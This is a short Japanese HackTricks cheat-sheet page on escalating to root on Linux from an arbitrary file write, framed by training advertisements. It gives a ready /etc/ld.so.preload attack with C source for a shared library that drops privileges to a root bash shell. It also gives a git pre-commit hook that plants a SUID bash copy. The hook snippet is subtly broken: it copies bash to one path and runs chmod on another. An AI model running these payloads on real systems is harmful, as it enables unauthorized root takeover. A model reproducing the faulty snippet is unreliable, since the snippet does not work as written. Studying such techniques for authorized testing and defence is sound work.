ルートへの任意のファイル書き込み

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

/etc/ld.so.preload

このファイルは**LD_PRELOAD環境変数のように動作しますが、SUIDバイナリでも機能します。
これを作成または変更できる場合、実行される各バイナリと共に読み込まれる
ライブラリへのパスを追加するだけです**。

例えば: echo "/tmp/pe.so" > /etc/ld.so.preload

c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git hooks

Git hooks は、コミットが作成されるときやマージなど、git リポジトリ内のさまざまな イベント実行される スクリプト です。したがって、特権スクリプトまたはユーザー がこれらのアクションを頻繁に実行し、.git フォルダーに 書き込む ことが可能であれば、これを privesc に利用できます。

たとえば、git リポジトリの .git/hooksスクリプト生成 することが可能であり、新しいコミットが作成されるたびに常に実行されます:

bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Cron & Time files

TODO

Service & Socket files

TODO

binfmt_misc

/proc/sys/fs/binfmt_misc にあるファイルは、どのバイナリがどのタイプのファイルを実行すべきかを示します。TODO: 一般的なファイルタイプが開かれたときにリバースシェルを実行するためにこれを悪用する要件を確認してください。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする